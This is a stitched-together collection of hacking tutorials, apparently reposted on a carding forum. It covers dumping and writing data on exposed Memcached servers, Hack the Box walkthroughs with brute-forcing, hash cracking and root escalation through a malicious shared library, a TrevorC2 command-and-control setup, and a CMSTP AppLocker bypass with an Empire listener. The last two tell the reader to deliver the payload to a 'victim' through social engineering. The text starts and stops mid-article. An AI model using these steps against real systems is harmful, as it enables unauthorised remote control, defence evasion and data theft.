The above information shows the current traffic statistics. It serves the number of connections, data is stored into the cache, cache hit ratios and detailed information on the memory usage and distribution of information through the slab allocation used to store individual items.
Now, we will run another command to fetch the slab statistics. Slabs are created and allocated for storing information within the cache. Run the command shown below.
stats slabs
1
stats slabs
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-e6bwLRdrv6Q/XHAJD_zXBSI/AAAAAAAAc7E/7nrrw7LPV_QWm2Ab0pT7FCxrRCguMrjkACLcBGAs/s1600/6.png?w=687&ssl=1)
As you can observe in the above image, currently there is only one slab present in the server whose slab number is 1.
Now, let’s run a command mentioned below to fetch count, age, eviction, expired etc. organized by slab ID.
stats items
1
stats items
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-I2kGr0BsE_s/XHAJEJZ_TcI/AAAAAAAAc7I/Giq5xrvukTEE_aQ6LI1uCIKkLmXEEuKdgCLcBGAs/s1600/7.png?w=687&ssl=1)
The above image gives us an insight into how the data is organized in slab ID 1.
Now, let’s run the command below to dump all the keys present in a particular slab.
stats cachedump 1 0
1
stats cachedump 1 0
Here 1 and 0 are the parameters,
1 = slab ID.
0 = It represents the number of keys you want to dump, 0 will dump all the keys present in the slab ID respectively.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-yH0QRpPzgts/XHAJETDJXAI/AAAAAAAAc7M/9H-T3fGEjdkvMyNVk4L8xOZibyAISXFhgCLcBGAs/s1600/8.png?w=687&ssl=1)
The above image represents ITEM <item_key> [<item_size> b; <expiration_timestamp> s]
Now, we can simply use the get command to fetch the values stored in the keys as shown below.
get first
get second
get third
1
2
3
get first
get second
get third
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-CKQ4qJZqsiw/XHAJElN15jI/AAAAAAAAc7Q/7i3j4tEQXGsdhppgR-DTWfffSYmO6WlsACLcBGAs/s1600/9.png?w=687&ssl=1)
As you can see in the above image, we have successfully dumped the data stored in the key values.
Dumping data using libmemcached-tools
Dumping of data using this toolkit makes the work a lot easier. So, let’s start by installing libmemcached-tools in our system by typing in the following command.
apt install libmemcached-tools
1
apt install libmemcached-tools
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-L2FfNaCN4kM/XHAI_vIuhVI/AAAAAAAAc6Q/BRfOE864Dx4wARykQO15t9_A0eXLpEekQCLcBGAs/s1600/10.png?w=687&ssl=1)
Now that we have installed libmemcached-tools let’s start using it by typing in the following command.
memcstat --servers=192.168.1.33
1
memcstat --servers=192.168.1.33
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-KFjdR6uRxQQ/XHAI_uaxO0I/AAAAAAAAc6M/HcTP44H8bys2NvEIzSstna1tPMYpt9NcQCLcBGAs/s1600/11.png?w=687&ssl=1)
The above command will give pretty much the same result as the stats command which we had used earlier while fetching the server statistics manually.
Now, let’s get straight to dumping the key values stored in the server. Run the command given below.
memcdump --servers=192.168.1.33
1
memcdump --servers=192.168.1.33
![[Image: 12%2B%25281%2529.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-DD6tJPTM3x4/XHAJATom9qI/AAAAAAAAc6U/iZ26D1ZMR44A21AELJA0OOPxj74hNlFDwCLcBGAs/s1600/12%2B%25281%2529.png?w=687&ssl=1)
As you can see in the above image, we have dumped all the keys present in the server currently.
Now, let’s dump all the values stored in the keys respectively. Run the command shown below.
memccat --servers=192.168.1.33 fifth fourth third second first
1
memccat --servers=192.168.1.33 fifth fourth third second first
![[Image: 12%2B%25282%2529.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-JU1-M24Ceeg/XHAJAhSNcjI/AAAAAAAAc6Y/PqidCRkZpd0FjAFrHqaxnTdVj8KbyjnqgCLcBGAs/s1600/12%2B%25282%2529.png?w=687&ssl=1)
The above command fetched us all the data stored in the respective key values. An attacker can use libmemcached-tools to easily upload any malicious file to the server too. Here, we will be showing an example of how to upload a file in the server.
Type the command shown below.
memccp --servers=192.168.1.33 file
1
memccp --servers=192.168.1.33 file
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-XkVwzzsG0as/XHAJA9i2ouI/AAAAAAAAc6c/QWRtZy4AbfYNkpl83S4WHs3GHXplMOlvACLcBGAs/s1600/13.png?w=687&ssl=1)
Here, the memccp command is uploading a file named “file.txt” present in the root directory of our system. Now, let’s use memcat to view the content of the file which we have uploaded in the server.
memcat --servers=192.168.1.33 file
1
memcat --servers=192.168.1.33 file
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-hjmqczbISM0/XHAJBL7pTjI/AAAAAAAAc6g/zj58PzLyuxgh9H2iPpd2wEyjnWJMXM_XwCLcBGAs/s1600/14.png?w=687&ssl=1)
As you can see, the above command fetched us the content of the file.
Dumping Data using Metasploit
As we all know, no exploitation is complete without using the Metasploit Framework once. So let’s dig in and see how we can exploit Memcached using Metasploit.
Fire up the Metasploit Framework and search Memcache.
search memcache
1
search memcache
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-RUaI87rcQiA/XHAJBLBPvqI/AAAAAAAAc6k/Gf1Y6Nhizfsbqk7ZelTkq-klSAkL3cOSgCLcBGAs/s1600/15.png?w=687&ssl=1)
The above image shows that there are currently 4 auxiliaries present in Metasploit.
We will be using auxiliary/gather/memcached_extractor to fetch the keys and the values stored in it. Run the command given below.
use auxiliary/gather/memcached_extractor
1
use auxiliary/gather/memcached_extractor
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-UQxyHWjrP6A/XHAJBhBImEI/AAAAAAAAc6o/XSc1fu-NptwWQwipi6zGYlxXEGFPdRKHgCLcBGAs/s1600/16.png?w=687&ssl=1)
Once you have successfully imported the auxiliary in the Metasploit Framework, just set the rhost and then run the auxiliary. We know that Memcached stores data temporarily. So the above image shows that the auxiliary had fetched us both the Key and the Value currently present in the Memcached Server and stored it in its default location /root/.msf4/loot/20190218044841_default_192.168.1.35_memcached.dump_286171.txt
Monitoring using Watchers
Watchers are a way to connect to Memcached and monitor all the actions being performed internally.
Now connect the Memcached using telnet and type the command shown below.
watch fetchers
1
watch fetchers
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-8IHiyzMHqj0/XHAJB4WF-DI/AAAAAAAAc6s/OvxBso8QFJwhTUTYruyjIwQk1Ce_oetMACLcBGAs/s1600/17.png?w=687&ssl=1)
The command line OK indicates that watcher is ready to send logs.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-D_YMISWT9sk/XHAJCBOjR8I/AAAAAAAAc6w/aK_pyHdmX4oU37kwyaqwj7OnXGSvvLZeACLcBGAs/s1600/18.png?w=687&ssl=1)
As you can see in the above image, all the actions which are being performed in the server are shown here live.
Conclusion
In this article, we have learned beginner level methods to exploit Memcached. In our future articles, we will be showing advanced methods to exploit Memcached Servers.
Stay tuned!!
Today we are going to solve another CTF challenge “Dab”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Dab is 10.10.10.86
Penetrating Methodology- Network scanning (Nmap)
- Logging in FTP using Anonymous Login
- Find Hidden file using steghide
- Bruteforce Login Credential using Burpsuite
- Manage Cookies using Burpsuite to get access
- Bruteforce all ports using wfuzz
- Retrieve version and password hashes on Memcached server
- Crack password hash using John the Ripper
- Bruteforce the credentials using Hydra
- Logging into the server using SSH and getting user flag
- Using ltrace to extract application password
- Compile the remaining function using gcc
- Snagging the Root Flag
Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sV -sC 10.10.10.86
1
nmap -sV -sC 10.10.10.86
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-UkqCAwdtiEY/XG0sBwGyuxI/AAAAAAAAczI/1dM2umD27nQoIz5Nyt4Z5HCMyy3ovPyWgCLcBGAs/s1600/1.png?w=687&ssl=1)
The Nmap scan shows us that there are 4 ports open: 21(FTP), 22(SSH), 80(HTTP), 8080(HTTP)
As port 21 is open, we access it using FTP and find a JPG file. We download it to our system to find more information about the image file.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-mX70ZAoJbbQ/XG0sI0y3JiI/AAAAAAAAcz4/KtMvkvwLfUM5SPKYHZfuZq9-m7jYN8bNACLcBGAs/s1600/2.png?w=687&ssl=1)
We use a tool called “steghide” to find if there is any file hidden inside the image and find a hidden text file called “dab.txt”. We extract the file and open it and find that it was a dead end.
steghide --info dab.jpg
steghide extract -sf dab.jpg -xf dab.txt
1
2
steghide --info dab.jpg
steghide extract -sf dab.jpg -xf dab.txt
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-sK6G-WaUsVk/XG02fiaAphI/AAAAAAAAc1o/rccYl654YCkHmYA5kU7e18sQecHMHXlRQCLcBGAs/s1600/3.png?w=687&ssl=1)
Now as port 80 is running HTTP, we access the web service and find a login page.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-yS88uCB1ZMU/XG0sNw-okHI/AAAAAAAAc08/iOpkJcoawZcqi08ZW_WtNsuFTffHL4PKQCLcBGAs/s1600/4.png?w=687&ssl=1)
Port 8080 is also running HTTP, we try to access the web service and get an error that the authentication cookie is not set.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/--PZ9GA2VYCw/XG0sOT0fb9I/AAAAAAAAc1A/KxwL_rUXZIQSzjOZ8KIi43eAqqO3ijqiQCLcBGAs/s1600/5.png?w=687&ssl=1)
We try to brute force the username and password, so we capture the request of the browser using burpsuite and send it to the intruder and selected attack type “Cluster bomb” and select the parameter username and password as a target.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Tstkr8VCwsk/XG0sO7BmqbI/AAAAAAAAc1E/Rt_QhxyWTWQPTSmSLuGvIzZB6ewugitqgCLcBGAs/s1600/6.png?w=687&ssl=1)
After selecting “rockyou.txt” as our wordlist we start the brute force and find the correct username and password to be “admin: Password1”.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-JWCDi2iGBNI/XG0sPS99qsI/AAAAAAAAc1I/7z8C45bYWhYiBznoZSGvtqbJhkimBujcwCLcBGAs/s1600/8.png?w=687&ssl=1)
We are still not able to access the web application on port 8080, as it still shows the same cookie error. So we brute-force the cookie parameter using burp suite.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ryTMK9hjcL4/XG0sGe4VHqI/AAAAAAAAczM/B-YYdMhDbgoViMBLQRFbaoyUI6sAlfOvACLcBGAs/s1600/10.png?w=687&ssl=1)
After selecting “rockyou.txt” as wordlist, we find the cookie parameter is called “password”. We also get another error; stating that the password authentication cookie is incorrect.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-wt7MRzFzRow/XG0sGVCl7iI/AAAAAAAAczQ/x7pv2t36eCUuLqXi_NPmahJ1v0Uj83PAACLcBGAs/s1600/11.png?w=687&ssl=1)
So we again capture the request, and this time we brute force the value of password parameter.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-lkkU2Uuhbs0/XG0sGbV-hBI/AAAAAAAAczU/affhSIlqb9MCoaDGzFI9Idgjffgf56nDgCLcBGAs/s1600/12.png?w=687&ssl=1)
After selecting “rockyou.txt” as our wordlist, we brute force the “password” variable and find the value to be “secret”.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-SF4vSM-Zp1M/XG0sHAi1NAI/AAAAAAAAczc/x0FEo149TlsCV-tvOyalrjwFPSoaDAJ6gCLcBGAs/s1600/14.png?w=687&ssl=1)
Using burpsuite we change the cookie and are now able to access the web page. After accessing it we find a web application that can be used to send a command to a certain port.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-SsUw53ysUos/XG0sG8eu_EI/AAAAAAAAczY/kL6v_yNdu1I1txaw0UPPFZYY8qCRpgmmQCLcBGAs/s1600/13.png?w=687&ssl=1)
Using burpsuite we change the cookie and are now able to access the web page. After accessing it we find a web application that can be used to send a command to a certain port.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-954o6wqk-HA/XG0sHYqeBNI/AAAAAAAAczg/YJf3IyQCEFUfqYNKFCDGQJxHD4aEv1JUgCLcBGAs/s1600/15.png?w=687&ssl=1)
We use wfuzz tool to brute force all the ports that can only be accessed internally and find port 11211 is open.
wfuzz -c -z range,1-65535 -u 'http://10.10.10.86:8080/socket?port=FUZZ&cmd=hack' –H "Cookie: password=secret" --hc=500
1
wfuzz -c -z range,1-65535 -u 'http://10.10.10.86:8080/socket?port=FUZZ&cmd=hack' –H "Cookie: password=secret" --hc=500
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-nEANDC_ARsQ/XG0sIMU4lfI/AAAAAAAAczs/ZPipzhDyw_09G-lzo2ZJnv27u_9kGFoewCLcBGAs/s1600/18.png?w=687&ssl=1)
Now port 11211 is for Memcached server, so we run version command to check the version of the Memcached server.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-xlL0g9vNYA0/XG0sIvDSisI/AAAAAAAAczw/KMlYqcNz1Qc7-aiwOBI2wpTVVQYKs7OSgCLcBGAs/s1600/19.png?w=687&ssl=1)
We find that we are successfully able to get the version of the Memcached server.
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-oBpEJCm67Hc/XG0sI3BCqfI/AAAAAAAAcz0/flcsSRcjKAcT4L7rkGu9kRWwni2zmKMcQCLcBGAs/s1600/20.png?w=687&ssl=1)
Now after getting the version of the Memcached server, we try to find all the users that are available on the web server. So we send the command “get users” to port 11211.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-VhJIqNIEIN4/XG0sJFgzK7I/AAAAAAAAcz8/iC62GwHOUSshWXCEoDcfb08Xy_Ls2wawwCLcBGAs/s1600/21.png?w=687&ssl=1)
After running the command, we are successfully able to get username and password hashes available on the memcached server.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-sjXSOI8uXhs/XG0sJXUaSyI/AAAAAAAAc0A/ciSdtgqEOfM2WUZ4IeBnBuvaiMJjRxpKQCLcBGAs/s1600/22.png?w=687&ssl=1)
We copy the username and password from the web site into a text file so that we can user john the ripper to crack the hashes.
john --format=raw-md5 --show user2.txt > cracked.txt
1
john --format=raw-md5 --show user2.txt > cracked.txt
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ArywgvXGysk/XG0sJduWE_I/AAAAAAAAc0E/XVmo5lzR7FsY8P3SDwBNCbnD0jmwxRWbACLcBGAs/s1600/23.png?w=687&ssl=1)
After cracking the password, we use the saved file to brute-force SSH login using hydra and find the correct credentials to be “genevieve: Princess1”.
hydra -C cracked.txt ssh://10.10.10.86 -t4
1
hydra -C cracked.txt ssh://10.10.10.86 -t4
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-AjVb6Bp8qBc/XG0sJ110tNI/AAAAAAAAc0I/FdAZWGjQxBs23yQ67nsC-JZc3HIDziAxgCLcBGAs/s1600/24.png?w=687&ssl=1)
Now we use this credential to login through SSH. After logging in we find a file called “user.txt”, when we open it we find our first flag.
ssh [email protected]
1
ssh [email protected]
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-V2uxv9XlYgI/XG0sJw32aDI/AAAAAAAAc0M/13zXrxqBOTUdeapfkwhKIIGWwItHQ70ZACLcBGAs/s1600/25.png?w=687&ssl=1)
We now find the file with suid bit set, and find an application called “myexec”.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null
![[Image: 26.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-1ynH0owYmnw/XG0sKMaRJ6I/AAAAAAAAc0Q/G7T2yLoq83430MMhOtBiCgbPBKyW_dU4ACLcBGAs/s1600/26.png?w=687&ssl=1)
We run the application and find that it is asking for a password.
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-YaWAixJSFvE/XG0sKWuAUtI/AAAAAAAAc0U/Jon9TVrp6L8z0JXXhcTTn0XcvnyODwVygCLcBGAs/s1600/27.png?w=687&ssl=1)
We now use ltrace to find the password of the application.
ltrace myexec
1
ltrace myexec
![[Image: 28.1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ogFjURkbF6k/XG0sKiALctI/AAAAAAAAc0Y/PDKETwTQRh0hZvIg_7ylyiBL8ILab1F5gCLcBGAs/s1600/28.1.png?w=687&ssl=1)
Now when we give the correct password and run it with ltrace. We find that a function is missing from the application.
![[Image: 30.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-lyGQl_kC6lU/XG0sLbIdg_I/AAAAAAAAc0o/d8wqcrHazVME1wu7_bWC9CoHfn_SXHPgQCLcBGAs/s1600/30.png?w=687&ssl=1)
We find the shared library that the application is using. We check “/etc/ld.so.conf.d/test.conf” to find the location from which the preloaded library is accepted and find it is “/tmp” directory.
ldd /usr/bin/myexec
cat /etc/ld.so.conf.d/test.conf
1
2
ldd /usr/bin/myexec
cat /etc/ld.so.conf.d/test.conf
![[Image: 31.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-tuseuro-QqU/XG0sL-JrTkI/AAAAAAAAc0s/ywJRdHa2WdcjGrcanY_XO5LKa3f9yq1SgCLcBGAs/s1600/31.png?w=687&ssl=1)
Now create a C program to execute “/bin/bash” inside /tmp directory.
![[Image: 32.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-VpUepEVKh0s/XG0sMUyNGyI/AAAAAAAAc0w/_DMG1skLhjgitNpLoHvnL2jf2-brsQ2ewCLcBGAs/s1600/32.png?w=687&ssl=1)
We compile it as a shared library.
gcc –Wall –fPIC –shared –o libseclogin.so /tmp/libseclogin.c
1
gcc –Wall –fPIC –shared –o libseclogin.so /tmp/libseclogin.c
![[Image: 33.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-9HkudNNXVd4/XG0sM3h2pUI/AAAAAAAAc00/2W1UenzvKbI5AYwrdpwEbkx4BAhPgqO_ACLcBGAs/s1600/33.png?w=687&ssl=1)
Now we copy it inside the /tmp/ directory and cache the shared library using “ldconfig”. Then when running the application and give it the correct password we are able to spawn a bash shell as the root user. We move to /root directory and find a file called “root.txt”. We take a look at the content of the file and find the final flag.
cp libseclogin.so /tmp/
ldconfig
myexec
1
2
3
cp libseclogin.so /tmp/
ldconfig
myexec
|
|
|
|
| [Guide] How to TrevorC2 – Command and Control |
|
Posted by: NINZA - 05-14-2020, 11:26 AM - Forum: Carders Home
- No Replies
|
 |
TrevorC2 is a command and control framework. It is a client/server model that works through a browser masquerading as a C2 tool. It works at different time intervals which makes it almost impossible to be detected. This tool is coded in python but it’s also compatible with c#, PowerShell, or any other platform. this is supported by both Windows and macOS along with Linux. It is very easy and convenient to use.
You can download it from
git clone [To see content please register here]
1
git clone [To see content please register here]
![[Image: 1.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-VnTzCkG_PeA/XGkMQdO3YbI/AAAAAAAAcso/-Wfk1elRCQYbQ2VB0Y_XamJvP9H4Np2BwCLcBGAs/s1600/1.png?w=687)
Once it’s downloaded, open the folder and then open the trevorc2_server.py file and change the IP to your localhost IP as shown in the image below. Also, provide the site that will be cloned to the trevorc2 server.
![[Image: 2.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-jWY_rmu-S-w/XGkMQa1LC3I/AAAAAAAAcsw/pCD8m992acMxIuBpwxt8Qi3FxV3jvmhuwCLcBGAs/s1600/2.png?w=687)
Then, start and run the trevorc2 framework.
![[Image: 3.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-s-288l82WyU/XGkMQWSLpMI/AAAAAAAAcss/9MGsELbvh70KhCWoi7nt8Z_zI51x9MyqACLcBGAs/s1600/3.png?w=687)
Once the trevorc2 is up and running, change the IP to your localhost IP in trevorc2.ps1 file.
![[Image: 4.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-gn78Yc9Vno0/XGkMQzT8zOI/AAAAAAAAcs0/QdeBZFRO_zk_YmXnkJo6ztLjr8ylgOntACLcBGAs/s1600/4.png?w=687)
Then send this file to the victim using any desired social engineering method. Once the file is executed by the victim, you will have your session as shown in the image below :
To see the sessions type :
list
1
list
And to access this session type :
interact <serial number od session>
1
interact <serial number od session>
![[Image: 5.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-sH4rLHZG3Ts/XGkMRPAMxxI/AAAAAAAAcs4/x9crGa9zFG8opsiNYpJ08_2b-Q909zJQgCLcBGAs/s1600/5.png?w=687)
By default, Applocker allows the executing of binaries in the folder that is the major reason that it can be bypassed. It has been found that such binaries can easily be used in order to bypass Applocker along with UAC. One of such binary related to Microsoft is CMSTP. CMSTP welcomes INF files and so exploitation through INF is possible. And so, we will be learning how to perform such exploitation.
Non-framework procedures like cmstp.exe start from programming you introduced on your system. Since most applications store information on your hard drive and in your system’s registry. It has machine code written in it. In the event that you begin the product Microsoft® Connection Manager on your system, the directions contained in cmstp.exe will run on your system. For this reason, the record is stacked into the primary memory (RAM) and keeps running there as a Microsoft Connection Manager Profile Installer process (additionally called an errand). As we all know CMSTP accepts SCT files and runs then without suspicion and therefore we will create a malicious SCT file to reach our goal. We will use Empire PowerShell for this. For a detailed guide on Empire PowerShell click [To see content please register here] .
Launch the empire framework from the terminal of Kali and then type the following commands to create your malware :
listeners
uselistener http
set Host 192.168.1.109
execute
1
2
3
4
listeners
uselistener http
set Host 192.168.1.109
execute
![[Image: 1.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-SPvGtOOjM8M/XGg_Q0z3g_I/AAAAAAAAcsQ/OnJM44dmhcUwxsiw1cXJiuvfu-wsjSI-wCLcBGAs/s1600/1.png?w=687)
Above commands will create a listener for you, then type back to return from listener interface and as for the creation of SCT file type :
usestager windows/launcher_sct
set Listener HTTP
execute
1
2
3
usestager windows/launcher_sct
set Listener HTTP
execute
Running the above exploit will create your SCT file. We will use the following script to execute our file in PowerShell. In this script give the path of your SCT file and add the following line as shown in the image.
Download this script from [To see content please register here] :
![[Image: 2.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-sT41kSgI1iw/XGg_QrtKTkI/AAAAAAAAcsM/t3U4bWlhLXkt0EDGXkQQp9Qp5J6AtUJ_ACLcBGAs/s1600/2.png?w=687)
Now, send the file to the victim’s PC and run the following command in victims’ command prompt :
cmstp.exe /s shell.inf
1
cmstp.exe /s shell.inf
![[Image: 3.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-KAli1G3fFO0/XGg_QpAAhcI/AAAAAAAAcsI/HTvA_QP4w0MNPotmXGNFZYFQMn19GYgXwCLcBGAs/s1600/3.png?w=687)
As soon as you run the command, you will have a session. Use the following command to access your session :
interact <session name>
1
interact <session name>
This way, you can use CMSTP binary to bypass applocker restrictions. CMSTP needs an INF file and by using it to your advantage you can have access to victim’s PC.
![[Image: 5.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-MIYrhUQ92bI/XGg_Rh6_RKI/AAAAAAAAcsU/QD8ZHO33MoMKGI8YCEBX2HWZsBYb8soDwCLcBGAs/s1600/5.png?w=687)
Today we are going to solve another CTF challenge “Ypuffy”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Ypuffy is 10.10.10.107
Penetrating Methodology - Network scanning (Nmap)
- Scanning port 389 using LDAP script
- Fetching shared directory using smbclient and finding the private key
- Connecting to VM with SSH using the private key
- Enumerating files with SUID bit set
- Discovering that alice1978 can run ssh-keygen as userca
- Discovering authorized commands at ssh login
- Fetching principal using the curl command
- Enumerating public certificate in system
- Signing RSA key with ca certificate using doas command and previously found the principal
- Logging into ssh using new private key pair
- Snagging the flag
Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sV -sC 10.10.10.107
1
nmap -sV -sC 10.10.10.107
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-qp5SqvzmNlQ/XGfPttr-dEI/AAAAAAAAcoo/ufQuVmRDzyQ944h_g3tG7N4Gvcm1hUC6wCLcBGAs/s1600/1.png?w=687&ssl=1)
The nmap scan shows us that there are 5 ports open: 22(SSH), 80(HTTP), 139(SMB), 389(LDAP), 445(SMB)
As LDAP service is running on port 389, we use nmap script called “ldap-search” to enumerate the target machine and we find the password hash for user “alice1978”.
nmap -p389 --script=ldap-search 10.10.10.107
1
nmap -p389 --script=ldap-search 10.10.10.107
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-tx5auBokK7s/XGfPtIhMHQI/AAAAAAAAcok/6KPE20CB5qMeMM8O_J4-6Oo-msmuQBhXgCLcBGAs/s1600/2.png?w=687&ssl=1)
Now as we find the password hash and username, we can login through using SMB using smbclient.
First, we check the shared directory available on the target machine and find a directory called “alice”. We then access the shared directory and find a file called “my_private_key.ppk”, we download the file to our local system.
smbclient –L \\\\10.10.10.107\\ -U alice1978%<hash> --pw-nt-hash
smbclient \\\\10.10.10.107\\alice -U alice1978%<hash> --pw-nt-hash
1
2
smbclient –L \\\\10.10.10.107\\ -U alice1978%<hash> --pw-nt-hash
smbclient \\\\10.10.10.107\\alice -U alice1978%<hash> --pw-nt-hash
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Mu1I2izjicc/XGfPtwYOurI/AAAAAAAAcos/-GLim0ZyFZEk6t8HBdV6OoI0rfKnzvKmQCLcBGAs/s1600/3.png?w=687&ssl=1)
The file we downloaded was a “Putty Private Key” file, so we use puttygen to convert the file into RSA private key. After converting it into RSA key, we change the permission of the RSA key and use it to login through SSH.
puttygen my_private_key.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa [email protected]
1
2
3
puttygen my_private_key.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa [email protected]
After logging in through SSH, we find a file called “user.txt”. We take a look at the contents of the file and find the first flag.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ffc6I38x0hQ/XGfPt3yb7-I/AAAAAAAAcow/e8tfrQgIHWEeoFNmN6ik7jrhimIBgJwFwCLcBGAs/s1600/4.png?w=687&ssl=1)
Now we check the files with suid bit enabled and find that “doas” is available on the target machine. It is a command utility similar to the “sudo” command. Now we check “/etc/doas.conf” to find what commands we can run. We find that we can run “/usr/bin/ssh-keygen” as user “userca”.
find / -perm -4000 2>/dev/null
cat /etc/doas.conf
1
2
find / -perm -4000 2>/dev/null
cat /etc/doas.conf
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-HRLz5zBJ7cs/XGfPuZ4m0qI/AAAAAAAAco0/smsh08KK20Y7kaIy1M_mmS92ipnERsUkgCLcBGAs/s1600/5.png?w=687&ssl=1)
To further enumerate the target machine, we open the ssh configuration file at “/etc/ssh/sshd_config” and find we can run the command “/usr/bin/curl [To see content please register here] ” and “/usr/bin/curl [To see content please register here] ”.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-UxEykZAsNzI/XGfPuhlvx1I/AAAAAAAAco4/2KhRHXmYK3MwTxVViCLNDq5KXH79hsU2gCLcBGAs/s1600/6.png?w=687&ssl=1)
Further enumerating the web application, we find that we can request keys from “http://127.0.0.1/sshauth?type=key&username=%u” and principals from “http://127.0.0.1/sshauth?type=principals&username=%u”, we requested keys for root user and get no response but we are successfully able to get root user’s principal.
curl "http://127.0.0.1/sshauth?type=key&username=root"
curl "http://127.0.0.1/sshauth?type=principals&username=root"
1
2
curl "http://127.0.0.1/sshauth?type=key&username=root"
curl "http://127.0.0.1/sshauth?type=principals&username=root"
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-j_b1AvcNZhA/XGfPuzcl--I/AAAAAAAAco8/yprhDGEzEhMZuA8aawHeZj-De-nLGXRKwCLcBGAs/s1600/7.png?w=687&ssl=1)
As we have the root user’s principal, we can generate SSH keys and sign them with root’s principal. Doing so will allow us to login through SSH as root. Now we know we can run ssh-keygen to generate SSH keys but first, we need a certificate to sign the SSH key. We enumerate the machine to find a certificate and find one inside /home/userca directory.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-UXEr3TMa2o4/XGfPuyz32xI/AAAAAAAAcpA/hX5Why6JU6wKLCU_9lc85-HLfZSp5oFzgCLcBGAs/s1600/8.png?w=687&ssl=1)
First, we generate SSH keys and move them into the /tmp directory. Then we sign the keys as userca to read the certificate inside /home/userca/ca.
ssh-keygen
mv .ssh/id_rsa* /tmp/
doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -n 3m3rgencyB4ckd00r -I root /tmp/id_rsa.pub
1
2
3
ssh-keygen
mv .ssh/id_rsa* /tmp/
